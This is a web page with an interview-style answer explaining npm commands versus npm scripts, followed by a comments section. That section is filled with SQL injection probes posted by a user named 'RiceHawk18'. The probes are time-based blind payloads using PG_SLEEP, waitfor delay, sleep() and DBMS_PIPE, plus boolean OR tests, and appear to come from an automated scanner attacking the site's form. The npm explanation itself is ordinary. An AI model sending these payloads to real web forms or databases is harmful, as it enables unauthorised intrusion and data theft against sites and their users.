What is a difference between npm command and npm script?

Experience Level: Junior
Tags: npm

Answer

npm command

npm has inbuilt actions that do something. Each action has an identifier using which it can be executed.The identifier is called a command.

An example of npm command is:

  • list - a command that displys all installed modules
  • install - a command that installs all modules mentioned in a file package.json in a property dependencies and devDependencies
  • update - a command that updates all modules that have more recent version than the one youhave installed before
  • outdated - a command that displays a list of outdated modules that your package is using

A command is executed from the command-line by typing:

npm <yourcommand>

If you wanted to run the commands above, you would run

npm list
npm install
npm update
npm outdated

npm script

A npm script is a set of user-defined command-line commands that can be executed using a shortcut that is called an alias.

Imagine you want to do a backup of your project directory from time to time.

How would you do it?

You could always execute a command-line command similar to "copy c:\yourproject v:\backup". But typing this repeatedly would take too much time. 

To become more efficient you could create a npm script with alias called my-backup and value "copy c:\yourproject v:\backup". After you define the script, you can the execute it by running the following npm command:

npm run my-backup

Comments

No Comments Yet.
Be the first to tell us what you think.
npm for beginners
npm for beginners

Are you learning npm ? Try our test we designed to help you progress faster.

Test yourself

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e